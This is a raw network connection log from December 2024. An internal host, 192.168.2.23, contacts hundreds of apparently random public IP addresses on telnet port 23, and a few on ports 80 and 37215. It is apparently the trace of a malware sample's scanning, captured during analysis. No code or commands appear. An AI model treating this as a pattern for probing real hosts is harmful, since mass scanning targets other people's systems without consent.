Dec 27, 2024 05:02:52.746994972 CET	14219	23	192.168.2.23	88.7.170.0
Dec 27, 2024 05:02:52.746995926 CET	14219	23	192.168.2.23	158.196.62.237
Dec 27, 2024 05:02:52.746995926 CET	14219	23	192.168.2.23	77.95.183.168
Dec 27, 2024 05:02:52.747018099 CET	14219	23	192.168.2.23	99.242.237.135
Dec 27, 2024 05:02:52.747021914 CET	14219	23	192.168.2.23	12.185.117.177
Dec 27, 2024 05:02:52.747021914 CET	14219	23	192.168.2.23	24.237.204.130
Dec 27, 2024 05:02:52.747040987 CET	23	14219	211.185.59.173	192.168.2.23
Dec 27, 2024 05:02:52.747056961 CET	23	14219	117.133.6.233	192.168.2.23
Dec 27, 2024 05:02:52.747067928 CET	23	14219	104.201.22.229	192.168.2.23
Dec 27, 2024 05:02:52.747076988 CET	23	14219	122.84.228.202	192.168.2.23
Dec 27, 2024 05:02:52.747086048 CET	23	14219	198.254.219.253	192.168.2.23
Dec 27, 2024 05:02:52.747087002 CET	14219	23	192.168.2.23	211.185.59.173
Dec 27, 2024 05:02:52.747095108 CET	23	14219	75.153.102.162	192.168.2.23
Dec 27, 2024 05:02:52.747097969 CET	14219	23	192.168.2.23	117.133.6.233
Dec 27, 2024 05:02:52.747097969 CET	14219	23	192.168.2.23	104.201.22.229
Dec 27, 2024 05:02:52.747104883 CET	23	14219	35.73.245.254	192.168.2.23
Dec 27, 2024 05:02:52.747113943 CET	14219	23	192.168.2.23	198.254.219.253
Dec 27, 2024 05:02:52.747123003 CET	23	14219	37.194.53.168	192.168.2.23
Dec 27, 2024 05:02:52.747132063 CET	14219	23	192.168.2.23	122.84.228.202
Dec 27, 2024 05:02:52.747132063 CET	14219	23	192.168.2.23	75.153.102.162
Dec 27, 2024 05:02:52.747132063 CET	14219	23	192.168.2.23	35.73.245.254
Dec 27, 2024 05:02:52.747143030 CET	23	14219	136.230.151.67	192.168.2.23
Dec 27, 2024 05:02:52.747153044 CET	23	14219	85.117.13.38	192.168.2.23
Dec 27, 2024 05:02:52.747160912 CET	23	14219	141.81.20.41	192.168.2.23
Dec 27, 2024 05:02:52.747162104 CET	14219	23	192.168.2.23	37.194.53.168
Dec 27, 2024 05:02:52.747170925 CET	23	14219	172.177.103.175	192.168.2.23
Dec 27, 2024 05:02:52.747179985 CET	14219	23	192.168.2.23	85.117.13.38
Dec 27, 2024 05:02:52.747180939 CET	23	14219	219.59.201.248	192.168.2.23
Dec 27, 2024 05:02:52.747181892 CET	14219	23	192.168.2.23	136.230.151.67
Dec 27, 2024 05:02:52.747190952 CET	23	14219	109.50.214.55	192.168.2.23
Dec 27, 2024 05:02:52.747193098 CET	14219	23	192.168.2.23	141.81.20.41
Dec 27, 2024 05:02:52.747200012 CET	14219	23	192.168.2.23	172.177.103.175
Dec 27, 2024 05:02:52.747210979 CET	23	14219	59.167.113.51	192.168.2.23
Dec 27, 2024 05:02:52.747220993 CET	23	14219	46.212.36.96	192.168.2.23
Dec 27, 2024 05:02:52.747232914 CET	23	14219	1.105.99.184	192.168.2.23
Dec 27, 2024 05:02:52.747237921 CET	14219	23	192.168.2.23	219.59.201.248
Dec 27, 2024 05:02:52.747237921 CET	14219	23	192.168.2.23	109.50.214.55
Dec 27, 2024 05:02:52.747242928 CET	23	14219	72.141.214.232	192.168.2.23
Dec 27, 2024 05:02:52.747252941 CET	14219	23	192.168.2.23	59.167.113.51
Dec 27, 2024 05:02:52.747253895 CET	23	14219	138.194.118.4	192.168.2.23
Dec 27, 2024 05:02:52.747258902 CET	14219	23	192.168.2.23	46.212.36.96
Dec 27, 2024 05:02:52.747266054 CET	23	14219	209.144.161.91	192.168.2.23
Dec 27, 2024 05:02:52.747272968 CET	14219	23	192.168.2.23	72.141.214.232
Dec 27, 2024 05:02:52.747275114 CET	23	14219	128.70.204.28	192.168.2.23
Dec 27, 2024 05:02:52.747277975 CET	14219	23	192.168.2.23	1.105.99.184
Dec 27, 2024 05:02:52.747287035 CET	23	14219	52.57.15.55	192.168.2.23
Dec 27, 2024 05:02:52.747287035 CET	14219	23	192.168.2.23	138.194.118.4
Dec 27, 2024 05:02:52.747297049 CET	23	14219	141.213.17.200	192.168.2.23
Dec 27, 2024 05:02:52.747303963 CET	14219	23	192.168.2.23	128.70.204.28
Dec 27, 2024 05:02:52.747306108 CET	14219	23	192.168.2.23	209.144.161.91
Dec 27, 2024 05:02:52.747318029 CET	23	14219	70.124.93.231	192.168.2.23
Dec 27, 2024 05:02:52.747327089 CET	14219	23	192.168.2.23	52.57.15.55
Dec 27, 2024 05:02:52.747328043 CET	23	14219	123.87.56.70	192.168.2.23
Dec 27, 2024 05:02:52.747330904 CET	14219	23	192.168.2.23	141.213.17.200
Dec 27, 2024 05:02:52.747339010 CET	23	14219	67.157.211.41	192.168.2.23
Dec 27, 2024 05:02:52.747350931 CET	23	14219	48.98.234.202	192.168.2.23
Dec 27, 2024 05:02:52.747354031 CET	14219	23	192.168.2.23	70.124.93.231
Dec 27, 2024 05:02:52.747359991 CET	23	14219	107.128.115.29	192.168.2.23
Dec 27, 2024 05:02:52.747371912 CET	23	14219	83.39.235.215	192.168.2.23
Dec 27, 2024 05:02:52.747381926 CET	23	14219	195.12.0.207	192.168.2.23
Dec 27, 2024 05:02:52.747390985 CET	14219	23	192.168.2.23	48.98.234.202
Dec 27, 2024 05:02:52.747394085 CET	14219	23	192.168.2.23	123.87.56.70
Dec 27, 2024 05:02:52.747395039 CET	14219	23	192.168.2.23	107.128.115.29
Dec 27, 2024 05:02:52.747397900 CET	14219	23	192.168.2.23	67.157.211.41
Dec 27, 2024 05:02:52.747411013 CET	14219	23	192.168.2.23	83.39.235.215
Dec 27, 2024 05:02:52.747428894 CET	14219	23	192.168.2.23	195.12.0.207
Dec 27, 2024 05:02:52.747770071 CET	23	14219	113.19.50.144	192.168.2.23
Dec 27, 2024 05:02:52.747782946 CET	23	14219	120.188.145.20	192.168.2.23
Dec 27, 2024 05:02:52.747797966 CET	23	14219	164.225.114.246	192.168.2.23
Dec 27, 2024 05:02:52.747807980 CET	23	14219	88.253.12.65	192.168.2.23
Dec 27, 2024 05:02:52.747812986 CET	14219	23	192.168.2.23	113.19.50.144
Dec 27, 2024 05:02:52.747817039 CET	23	14219	137.38.50.121	192.168.2.23
Dec 27, 2024 05:02:52.747817039 CET	14219	23	192.168.2.23	120.188.145.20
Dec 27, 2024 05:02:52.747828960 CET	14219	23	192.168.2.23	164.225.114.246
Dec 27, 2024 05:02:52.747829914 CET	23	14219	79.15.65.52	192.168.2.23
Dec 27, 2024 05:02:52.747838020 CET	14219	23	192.168.2.23	88.253.12.65
Dec 27, 2024 05:02:52.747848034 CET	23	14219	87.148.32.213	192.168.2.23
Dec 27, 2024 05:02:52.747853041 CET	14219	23	192.168.2.23	137.38.50.121
Dec 27, 2024 05:02:52.747858047 CET	23	14219	130.38.187.78	192.168.2.23
Dec 27, 2024 05:02:52.747869015 CET	23	14219	212.2.50.72	192.168.2.23
Dec 27, 2024 05:02:52.747875929 CET	14219	23	192.168.2.23	79.15.65.52
Dec 27, 2024 05:02:52.747879028 CET	23	14219	209.225.97.104	192.168.2.23
Dec 27, 2024 05:02:52.747888088 CET	14219	23	192.168.2.23	130.38.187.78
Dec 27, 2024 05:02:52.747898102 CET	14219	23	192.168.2.23	87.148.32.213
Dec 27, 2024 05:02:52.747898102 CET	14219	23	192.168.2.23	212.2.50.72
Dec 27, 2024 05:02:52.747906923 CET	23	14219	137.29.236.118	192.168.2.23
Dec 27, 2024 05:02:52.747912884 CET	14219	23	192.168.2.23	209.225.97.104
Dec 27, 2024 05:02:52.747916937 CET	23	14219	2.79.148.36	192.168.2.23
Dec 27, 2024 05:02:52.747925997 CET	23	14219	24.65.89.168	192.168.2.23
Dec 27, 2024 05:02:52.747936010 CET	23	14219	146.58.233.18	192.168.2.23
Dec 27, 2024 05:02:52.747945070 CET	23	14219	95.44.254.123	192.168.2.23
Dec 27, 2024 05:02:52.747946024 CET	14219	23	192.168.2.23	137.29.236.118
Dec 27, 2024 05:02:52.747947931 CET	14219	23	192.168.2.23	2.79.148.36
Dec 27, 2024 05:02:52.747955084 CET	23	14219	184.45.118.239	192.168.2.23
Dec 27, 2024 05:02:52.747963905 CET	23	14219	31.14.241.124	192.168.2.23
Dec 27, 2024 05:02:52.747971058 CET	14219	23	192.168.2.23	146.58.233.18
Dec 27, 2024 05:02:52.747973919 CET	23	14219	116.221.109.13	192.168.2.23
Dec 27, 2024 05:02:52.747976065 CET	14219	23	192.168.2.23	24.65.89.168
Dec 27, 2024 05:02:52.747984886 CET	23	14219	19.245.37.68	192.168.2.23
Dec 27, 2024 05:02:52.747993946 CET	14219	23	192.168.2.23	31.14.241.124
Dec 27, 2024 05:02:52.747997046 CET	14219	23	192.168.2.23	95.44.254.123
Dec 27, 2024 05:02:52.747997046 CET	14219	23	192.168.2.23	184.45.118.239
Dec 27, 2024 05:02:52.748003006 CET	23	14219	78.42.54.78	192.168.2.23
Dec 27, 2024 05:02:52.748008966 CET	14219	23	192.168.2.23	116.221.109.13
Dec 27, 2024 05:02:52.748017073 CET	23	14219	77.189.69.17	192.168.2.23
Dec 27, 2024 05:02:52.748025894 CET	23	14219	217.71.112.14	192.168.2.23
Dec 27, 2024 05:02:52.748035908 CET	23	14219	160.210.105.135	192.168.2.23
Dec 27, 2024 05:02:52.748044968 CET	23	14219	167.42.206.152	192.168.2.23
Dec 27, 2024 05:02:52.748047113 CET	14219	23	192.168.2.23	78.42.54.78
Dec 27, 2024 05:02:52.748047113 CET	14219	23	192.168.2.23	19.245.37.68
Dec 27, 2024 05:02:52.748051882 CET	14219	23	192.168.2.23	77.189.69.17
Dec 27, 2024 05:02:52.748054981 CET	23	14219	126.11.236.146	192.168.2.23
Dec 27, 2024 05:02:52.748064995 CET	23	14219	123.66.215.122	192.168.2.23
Dec 27, 2024 05:02:52.748074055 CET	14219	23	192.168.2.23	167.42.206.152
Dec 27, 2024 05:02:52.748074055 CET	14219	23	192.168.2.23	217.71.112.14
Dec 27, 2024 05:02:52.748074055 CET	23	14219	177.235.145.224	192.168.2.23
Dec 27, 2024 05:02:52.748074055 CET	14219	23	192.168.2.23	160.210.105.135
Dec 27, 2024 05:02:52.748084068 CET	23	14219	104.61.175.189	192.168.2.23
Dec 27, 2024 05:02:52.748090982 CET	14219	23	192.168.2.23	126.11.236.146
Dec 27, 2024 05:02:52.748092890 CET	23	14219	68.161.202.68	192.168.2.23
Dec 27, 2024 05:02:52.748116016 CET	14219	23	192.168.2.23	177.235.145.224
Dec 27, 2024 05:02:52.748116970 CET	14219	23	192.168.2.23	123.66.215.122
Dec 27, 2024 05:02:52.748116970 CET	14219	23	192.168.2.23	104.61.175.189
Dec 27, 2024 05:02:52.748133898 CET	14219	23	192.168.2.23	68.161.202.68
Dec 27, 2024 05:02:52.996680021 CET	80	14220	66.122.172.202	192.168.2.23
Dec 27, 2024 05:02:52.996696949 CET	80	14220	69.21.163.86	192.168.2.23
Dec 27, 2024 05:02:52.996716976 CET	80	14220	184.144.134.0	192.168.2.23
Dec 27, 2024 05:02:52.996726990 CET	37215	14256	197.238.191.86	192.168.2.23
Dec 27, 2024 05:02:52.996754885 CET	14220	80	192.168.2.23	69.21.163.86
Dec 27, 2024 05:02:52.996759892 CET	14220	80	192.168.2.23	66.122.172.202
Dec 27, 2024 05:02:52.996782064 CET	14256	37215	192.168.2.23	197.238.191.86
Dec 27, 2024 05:02:52.996782064 CET	14220	80	192.168.2.23	184.144.134.0
Dec 27, 2024 05:02:53.628678083 CET	14219	23	192.168.2.23	163.92.135.85
Dec 27, 2024 05:02:53.628686905 CET	14219	23	192.168.2.23	166.39.25.90
Dec 27, 2024 05:02:53.628693104 CET	14219	23	192.168.2.23	52.86.203.203
Dec 27, 2024 05:02:53.628693104 CET	14219	23	192.168.2.23	156.173.61.81
Dec 27, 2024 05:02:53.628700018 CET	14219	23	192.168.2.23	194.130.41.118
Dec 27, 2024 05:02:53.628705025 CET	14219	23	192.168.2.23	182.15.62.26
Dec 27, 2024 05:02:53.628705025 CET	14219	23	192.168.2.23	219.223.5.37
Dec 27, 2024 05:02:53.628715992 CET	14219	23	192.168.2.23	220.140.215.237
Dec 27, 2024 05:02:53.628717899 CET	14219	23	192.168.2.23	139.62.117.128
Dec 27, 2024 05:02:53.628726959 CET	14219	23	192.168.2.23	209.189.195.112
Dec 27, 2024 05:02:53.628731012 CET	14219	23	192.168.2.23	69.20.21.250
Dec 27, 2024 05:02:53.628741026 CET	14219	23	192.168.2.23	132.252.238.112
Dec 27, 2024 05:02:53.628742933 CET	14219	23	192.168.2.23	37.86.180.49
Dec 27, 2024 05:02:53.628753901 CET	14219	23	192.168.2.23	185.25.44.123
Dec 27, 2024 05:02:53.628755093 CET	14219	23	192.168.2.23	117.122.237.91
Dec 27, 2024 05:02:53.628755093 CET	14219	23	192.168.2.23	218.142.71.50
Dec 27, 2024 05:02:53.628758907 CET	14219	23	192.168.2.23	206.223.105.118
Dec 27, 2024 05:02:53.628758907 CET	14219	23	192.168.2.23	25.113.145.119
Dec 27, 2024 05:02:53.628758907 CET	14219	23	192.168.2.23	104.123.183.62
Dec 27, 2024 05:02:53.628767967 CET	14219	23	192.168.2.23	116.200.5.253
Dec 27, 2024 05:02:53.628779888 CET	14219	23	192.168.2.23	113.169.241.133
Dec 27, 2024 05:02:53.628779888 CET	14219	23	192.168.2.23	70.194.205.255
Dec 27, 2024 05:02:53.628781080 CET	14219	23	192.168.2.23	114.77.159.55
Dec 27, 2024 05:02:53.628782988 CET	14219	23	192.168.2.23	70.190.119.25
Dec 27, 2024 05:02:53.628783941 CET	14219	23	192.168.2.23	63.60.126.112
Dec 27, 2024 05:02:53.628796101 CET	14219	23	192.168.2.23	176.50.228.68
Dec 27, 2024 05:02:53.628796101 CET	14219	23	192.168.2.23	182.92.55.61
Dec 27, 2024 05:02:53.628797054 CET	14219	23	192.168.2.23	68.90.240.145
Dec 27, 2024 05:02:53.628798008 CET	14219	23	192.168.2.23	117.94.31.176
Dec 27, 2024 05:02:53.628799915 CET	14219	23	192.168.2.23	4.147.12.254
Dec 27, 2024 05:02:53.628810883 CET	14219	23	192.168.2.23	76.21.115.132
Dec 27, 2024 05:02:53.628810883 CET	14219	23	192.168.2.23	144.233.125.51
Dec 27, 2024 05:02:53.628815889 CET	14219	23	192.168.2.23	41.133.247.29
Dec 27, 2024 05:02:53.628820896 CET	14219	23	192.168.2.23	94.202.172.121
Dec 27, 2024 05:02:53.628823042 CET	14219	23	192.168.2.23	203.74.33.44
Dec 27, 2024 05:02:53.628823042 CET	14219	23	192.168.2.23	136.27.167.90
Dec 27, 2024 05:02:53.628830910 CET	14219	23	192.168.2.23	1.50.117.53
Dec 27, 2024 05:02:53.628830910 CET	14219	23	192.168.2.23	128.218.114.75
Dec 27, 2024 05:02:53.628839970 CET	14219	23	192.168.2.23	84.233.237.82
Dec 27, 2024 05:02:53.628839970 CET	14219	23	192.168.2.23	37.238.27.218
Dec 27, 2024 05:02:53.628842115 CET	14219	23	192.168.2.23	109.135.24.247
Dec 27, 2024 05:02:53.628845930 CET	14219	23	192.168.2.23	59.72.205.251
Dec 27, 2024 05:02:53.628845930 CET	14219	23	192.168.2.23	105.54.21.196
Dec 27, 2024 05:02:53.628845930 CET	14219	23	192.168.2.23	63.149.88.84
Dec 27, 2024 05:02:53.628850937 CET	14219	23	192.168.2.23	17.231.79.184
Dec 27, 2024 05:02:53.628850937 CET	14219	23	192.168.2.23	205.244.29.131
Dec 27, 2024 05:02:53.628851891 CET	14219	23	192.168.2.23	141.185.215.165
Dec 27, 2024 05:02:53.628860950 CET	14219	23	192.168.2.23	193.2.120.163
Dec 27, 2024 05:02:53.628870964 CET	14219	23	192.168.2.23	48.0.99.181
Dec 27, 2024 05:02:53.628870964 CET	14219	23	192.168.2.23	27.41.4.67
Dec 27, 2024 05:02:53.628871918 CET	14219	23	192.168.2.23	52.208.217.194
Dec 27, 2024 05:02:53.628871918 CET	14219	23	192.168.2.23	20.198.42.188
Dec 27, 2024 05:02:53.628876925 CET	14219	23	192.168.2.23	66.221.204.199
Dec 27, 2024 05:02:53.628876925 CET	14219	23	192.168.2.23	93.154.101.143
Dec 27, 2024 05:02:53.628876925 CET	14219	23	192.168.2.23	27.222.246.186
Dec 27, 2024 05:02:53.628882885 CET	14219	23	192.168.2.23	147.39.38.224
Dec 27, 2024 05:02:53.628895044 CET	14219	23	192.168.2.23	219.158.37.152
Dec 27, 2024 05:02:53.628896952 CET	14219	23	192.168.2.23	177.146.226.187
Dec 27, 2024 05:02:53.628899097 CET	14219	23	192.168.2.23	135.252.151.173
Dec 27, 2024 05:02:53.628899097 CET	14219	23	192.168.2.23	5.170.214.37
Dec 27, 2024 05:02:53.628899097 CET	14219	23	192.168.2.23	19.246.99.64
Dec 27, 2024 05:02:53.628901005 CET	14219	23	192.168.2.23	217.173.85.241
Dec 27, 2024 05:02:53.628910065 CET	14219	23	192.168.2.23	76.177.210.96
Dec 27, 2024 05:02:53.628912926 CET	14219	23	192.168.2.23	105.153.22.149
Dec 27, 2024 05:02:53.628912926 CET	14219	23	192.168.2.23	74.187.117.44
Dec 27, 2024 05:02:53.628912926 CET	14219	23	192.168.2.23	124.0.183.12
Dec 27, 2024 05:02:53.628912926 CET	14219	23	192.168.2.23	199.168.244.92
Dec 27, 2024 05:02:53.628912926 CET	14219	23	192.168.2.23	99.163.253.234
Dec 27, 2024 05:02:53.628915071 CET	14219	23	192.168.2.23	213.219.24.175
Dec 27, 2024 05:02:53.628922939 CET	14219	23	192.168.2.23	188.139.216.43
Dec 27, 2024 05:02:53.628928900 CET	14219	23	192.168.2.23	38.95.102.159
Dec 27, 2024 05:02:53.628928900 CET	14219	23	192.168.2.23	80.81.92.146
Dec 27, 2024 05:02:53.628931999 CET	14219	23	192.168.2.23	187.8.79.234
Dec 27, 2024 05:02:53.628933907 CET	14219	23	192.168.2.23	106.111.136.42
Dec 27, 2024 05:02:53.628935099 CET	14219	23	192.168.2.23	219.205.77.63
Dec 27, 2024 05:02:53.628935099 CET	14219	23	192.168.2.23	103.37.66.208
Dec 27, 2024 05:02:53.628941059 CET	14219	23	192.168.2.23	27.46.252.47
Dec 27, 2024 05:02:53.628941059 CET	14219	23	192.168.2.23	20.203.2.144
Dec 27, 2024 05:02:53.628946066 CET	14219	23	192.168.2.23	97.103.225.123
Dec 27, 2024 05:02:53.628946066 CET	14219	23	192.168.2.23	188.98.134.249
Dec 27, 2024 05:02:53.628947973 CET	14219	23	192.168.2.23	102.36.75.158
Dec 27, 2024 05:02:53.628951073 CET	14219	23	192.168.2.23	67.80.52.67
Dec 27, 2024 05:02:53.628968000 CET	14219	23	192.168.2.23	196.99.139.134
Dec 27, 2024 05:02:53.628968954 CET	14219	23	192.168.2.23	62.134.71.82
Dec 27, 2024 05:02:53.628968954 CET	14219	23	192.168.2.23	114.182.53.136
Dec 27, 2024 05:02:53.628971100 CET	14219	23	192.168.2.23	149.171.182.208
Dec 27, 2024 05:02:53.628973007 CET	14219	23	192.168.2.23	74.214.77.104
Dec 27, 2024 05:02:53.628973961 CET	14219	23	192.168.2.23	186.171.241.133
Dec 27, 2024 05:02:53.628979921 CET	14219	23	192.168.2.23	64.34.213.175
Dec 27, 2024 05:02:53.628979921 CET	14219	23	192.168.2.23	158.224.102.98
Dec 27, 2024 05:02:53.628982067 CET	14219	23	192.168.2.23	145.217.230.119
Dec 27, 2024 05:02:53.628987074 CET	14219	23	192.168.2.23	67.27.184.120
Dec 27, 2024 05:02:53.628998995 CET	14219	23	192.168.2.23	115.221.113.186
Dec 27, 2024 05:02:53.628998995 CET	14219	23	192.168.2.23	153.224.251.107
Dec 27, 2024 05:02:53.628998995 CET	14219	23	192.168.2.23	213.23.86.84
Dec 27, 2024 05:02:53.628998995 CET	14219	23	192.168.2.23	68.145.141.80
Dec 27, 2024 05:02:53.629004955 CET	14219	23	192.168.2.23	78.84.62.63
Dec 27, 2024 05:02:53.629004955 CET	14219	23	192.168.2.23	177.57.173.150
Dec 27, 2024 05:02:53.629013062 CET	14219	23	192.168.2.23	9.163.156.212
Dec 27, 2024 05:02:53.629020929 CET	14219	23	192.168.2.23	14.110.169.153
Dec 27, 2024 05:02:53.629020929 CET	14219	23	192.168.2.23	153.139.153.68
Dec 27, 2024 05:02:53.629024029 CET	14219	23	192.168.2.23	49.8.203.123
Dec 27, 2024 05:02:53.629035950 CET	14219	23	192.168.2.23	147.194.251.20
Dec 27, 2024 05:02:53.629036903 CET	14219	23	192.168.2.23	141.188.40.16
Dec 27, 2024 05:02:53.629036903 CET	14219	23	192.168.2.23	209.122.219.25
Dec 27, 2024 05:02:53.629040003 CET	14219	23	192.168.2.23	19.112.152.78
Dec 27, 2024 05:02:53.629049063 CET	14219	23	192.168.2.23	134.248.87.210
Dec 27, 2024 05:02:53.629054070 CET	14219	23	192.168.2.23	129.187.232.53
Dec 27, 2024 05:02:53.629057884 CET	14219	23	192.168.2.23	197.186.118.134
Dec 27, 2024 05:02:53.629064083 CET	14219	23	192.168.2.23	186.93.249.236
Dec 27, 2024 05:02:53.629070044 CET	14219	23	192.168.2.23	188.63.90.12
Dec 27, 2024 05:02:53.629074097 CET	14219	23	192.168.2.23	108.31.223.240
Dec 27, 2024 05:02:53.629074097 CET	14219	23	192.168.2.23	45.94.68.77
Dec 27, 2024 05:02:53.629076004 CET	14219	23	192.168.2.23	122.137.105.87
Dec 27, 2024 05:02:53.629091978 CET	14219	23	192.168.2.23	200.31.35.153
Dec 27, 2024 05:02:53.629095078 CET	14219	23	192.168.2.23	147.183.112.203
Dec 27, 2024 05:02:53.629095078 CET	14219	23	192.168.2.23	52.50.149.166
Dec 27, 2024 05:02:53.629095078 CET	14219	23	192.168.2.23	212.211.35.5
Dec 27, 2024 05:02:53.629096031 CET	14219	23	192.168.2.23	63.56.241.58
Dec 27, 2024 05:02:53.629101038 CET	14219	23	192.168.2.23	60.234.69.107
Dec 27, 2024 05:02:53.629103899 CET	14219	23	192.168.2.23	12.157.169.150
Dec 27, 2024 05:02:53.629105091 CET	14219	23	192.168.2.23	135.12.0.243
Dec 27, 2024 05:02:53.629117966 CET	14219	23	192.168.2.23	140.82.65.58
Dec 27, 2024 05:02:53.629117966 CET	14219	23	192.168.2.23	152.253.50.23
Dec 27, 2024 05:02:53.629123926 CET	14219	23	192.168.2.23	62.40.160.94
Dec 27, 2024 05:02:53.629123926 CET	14219	23	192.168.2.23	2.12.22.89
Dec 27, 2024 05:02:53.629123926 CET	14219	23	192.168.2.23	78.5.166.52
Dec 27, 2024 05:02:53.629128933 CET	14219	23	192.168.2.23	180.235.211.38
Dec 27, 2024 05:02:53.629128933 CET	14219	23	192.168.2.23	160.117.16.116
Dec 27, 2024 05:02:53.629133940 CET	14219	23	192.168.2.23	44.232.191.70
Dec 27, 2024 05:02:53.629133940 CET	14219	23	192.168.2.23	201.0.170.43
Dec 27, 2024 05:02:53.629137039 CET	14219	23	192.168.2.23	50.92.130.115
Dec 27, 2024 05:02:53.629138947 CET	14219	23	192.168.2.23	8.139.186.183
Dec 27, 2024 05:02:53.629139900 CET	14219	23	192.168.2.23	187.158.207.244
Dec 27, 2024 05:02:53.629156113 CET	14219	23	192.168.2.23	165.82.34.85
Dec 27, 2024 05:02:53.629156113 CET	14219	23	192.168.2.23	174.27.203.176
Dec 27, 2024 05:02:53.629156113 CET	14219	23	192.168.2.23	138.135.221.12
Dec 27, 2024 05:02:53.629158974 CET	14219	23	192.168.2.23	44.190.163.128
Dec 27, 2024 05:02:53.629163980 CET	14219	23	192.168.2.23	131.219.86.12
Dec 27, 2024 05:02:53.629173994 CET	14219	23	192.168.2.23	51.30.253.27
Dec 27, 2024 05:02:53.629175901 CET	14219	23	192.168.2.23	177.109.42.49
Dec 27, 2024 05:02:53.629175901 CET	14219	23	192.168.2.23	140.205.129.212
Dec 27, 2024 05:02:53.629180908 CET	14219	23	192.168.2.23	39.143.158.64
Dec 27, 2024 05:02:53.629192114 CET	14219	23	192.168.2.23	89.222.180.190
Dec 27, 2024 05:02:53.629194021 CET	14219	23	192.168.2.23	123.31.35.32
Dec 27, 2024 05:02:53.629194021 CET	14219	23	192.168.2.23	209.219.172.194
Dec 27, 2024 05:02:53.629195929 CET	14219	23	192.168.2.23	37.51.132.155
Dec 27, 2024 05:02:53.629199028 CET	14219	23	192.168.2.23	52.170.150.141
Dec 27, 2024 05:02:53.629200935 CET	14219	23	192.168.2.23	192.212.118.163
Dec 27, 2024 05:02:53.629200935 CET	14219	23	192.168.2.23	32.107.105.62
Dec 27, 2024 05:02:53.629201889 CET	14219	23	192.168.2.23	208.29.21.217
Dec 27, 2024 05:02:53.629218102 CET	14219	23	192.168.2.23	5.4.253.46
Dec 27, 2024 05:02:53.629218102 CET	14219	23	192.168.2.23	153.137.177.65
Dec 27, 2024 05:02:53.629220963 CET	14219	23	192.168.2.23	176.11.41.239
Dec 27, 2024 05:02:53.629225016 CET	14219	23	192.168.2.23	210.175.116.131
Dec 27, 2024 05:02:53.629225969 CET	14219	23	192.168.2.23	198.38.128.187
Dec 27, 2024 05:02:53.629226923 CET	14219	23	192.168.2.23	187.51.38.84
Dec 27, 2024 05:02:53.629226923 CET	14219	23	192.168.2.23	23.192.8.19
Dec 27, 2024 05:02:53.629245996 CET	14219	23	192.168.2.23	85.68.228.113
Dec 27, 2024 05:02:53.629245996 CET	14219	23	192.168.2.23	212.169.19.88
Dec 27, 2024 05:02:53.629246950 CET	14219	23	192.168.2.23	52.243.227.204
Dec 27, 2024 05:02:53.629246950 CET	14219	23	192.168.2.23	167.76.146.76
Dec 27, 2024 05:02:53.629245996 CET	14219	23	192.168.2.23	206.83.51.132
Dec 27, 2024 05:02:53.629246950 CET	14219	23	192.168.2.23	116.187.218.74
Dec 27, 2024 05:02:53.629245996 CET	14219	23	192.168.2.23	92.191.109.214
Dec 27, 2024 05:02:53.629256010 CET	14219	23	192.168.2.23	140.104.107.184
Dec 27, 2024 05:02:53.629256010 CET	14219	23	192.168.2.23	170.93.117.42
Dec 27, 2024 05:02:53.629256010 CET	14219	23	192.168.2.23	63.57.113.242
Dec 27, 2024 05:02:53.629259109 CET	14219	23	192.168.2.23	139.42.194.205
Dec 27, 2024 05:02:53.629276037 CET	14219	23	192.168.2.23	133.82.200.203
Dec 27, 2024 05:02:53.629276991 CET	14219	23	192.168.2.23	135.114.25.79
Dec 27, 2024 05:02:53.629276991 CET	14219	23	192.168.2.23	199.70.94.224
Dec 27, 2024 05:02:53.629276991 CET	14219	23	192.168.2.23	103.18.171.78
Dec 27, 2024 05:02:53.629278898 CET	14219	23	192.168.2.23	125.231.28.253
Dec 27, 2024 05:02:53.629287004 CET	14219	23	192.168.2.23	46.72.48.206
Dec 27, 2024 05:02:53.629288912 CET	14219	23	192.168.2.23	162.128.100.245
Dec 27, 2024 05:02:53.629297972 CET	14219	23	192.168.2.23	131.95.48.20
Dec 27, 2024 05:02:53.629309893 CET	14219	23	192.168.2.23	13.25.56.106
Dec 27, 2024 05:02:53.629309893 CET	14219	23	192.168.2.23	48.240.38.137
Dec 27, 2024 05:02:53.629312038 CET	14219	23	192.168.2.23	130.193.82.189
Dec 27, 2024 05:02:53.629312038 CET	14219	23	192.168.2.23	163.145.252.247
Dec 27, 2024 05:02:53.629313946 CET	14219	23	192.168.2.23	210.152.102.147
Dec 27, 2024 05:02:53.629313946 CET	14219	23	192.168.2.23	190.233.183.73
Dec 27, 2024 05:02:53.629313946 CET	14219	23	192.168.2.23	128.82.150.228
Dec 27, 2024 05:02:53.629313946 CET	14219	23	192.168.2.23	218.181.230.95
Dec 27, 2024 05:02:53.629318953 CET	14219	23	192.168.2.23	222.219.167.24
Dec 27, 2024 05:02:53.629327059 CET	14219	23	192.168.2.23	113.166.112.99
Dec 27, 2024 05:02:53.629327059 CET	14219	23	192.168.2.23	20.99.220.103
Dec 27, 2024 05:02:53.629328966 CET	14219	23	192.168.2.23	136.171.210.23
Dec 27, 2024 05:02:53.629342079 CET	14219	23	192.168.2.23	72.151.116.6
Dec 27, 2024 05:02:53.629344940 CET	14219	23	192.168.2.23	61.91.135.203
Dec 27, 2024 05:02:53.629347086 CET	14219	23	192.168.2.23	46.96.131.99
Dec 27, 2024 05:02:53.629347086 CET	14219	23	192.168.2.23	102.43.189.237
Dec 27, 2024 05:02:53.629352093 CET	14219	23	192.168.2.23	160.221.95.96
Dec 27, 2024 05:02:53.629352093 CET	14219	23	192.168.2.23	204.103.207.204
Dec 27, 2024 05:02:53.629362106 CET	14219	23	192.168.2.23	178.222.193.130
Dec 27, 2024 05:02:53.629362106 CET	14219	23	192.168.2.23	45.186.177.223
Dec 27, 2024 05:02:53.629363060 CET	14219	23	192.168.2.23	158.76.30.47
Dec 27, 2024 05:02:53.629369020 CET	14219	23	192.168.2.23	38.63.12.147
Dec 27, 2024 05:02:53.629375935 CET	14219	23	192.168.2.23	35.59.194.179
Dec 27, 2024 05:02:53.629376888 CET	14219	23	192.168.2.23	72.5.216.209
Dec 27, 2024 05:02:53.629376888 CET	14219	23	192.168.2.23	92.21.23.121
Dec 27, 2024 05:02:53.629376888 CET	14219	23	192.168.2.23	107.128.185.8
Dec 27, 2024 05:02:53.629384041 CET	14219	23	192.168.2.23	119.22.215.151
Dec 27, 2024 05:02:53.629386902 CET	14219	23	192.168.2.23	117.2.202.252
Dec 27, 2024 05:02:53.629394054 CET	14219	23	192.168.2.23	198.229.250.171
Dec 27, 2024 05:02:53.629400015 CET	14219	23	192.168.2.23	132.71.221.136
Dec 27, 2024 05:02:53.629400015 CET	14219	23	192.168.2.23	121.98.207.45
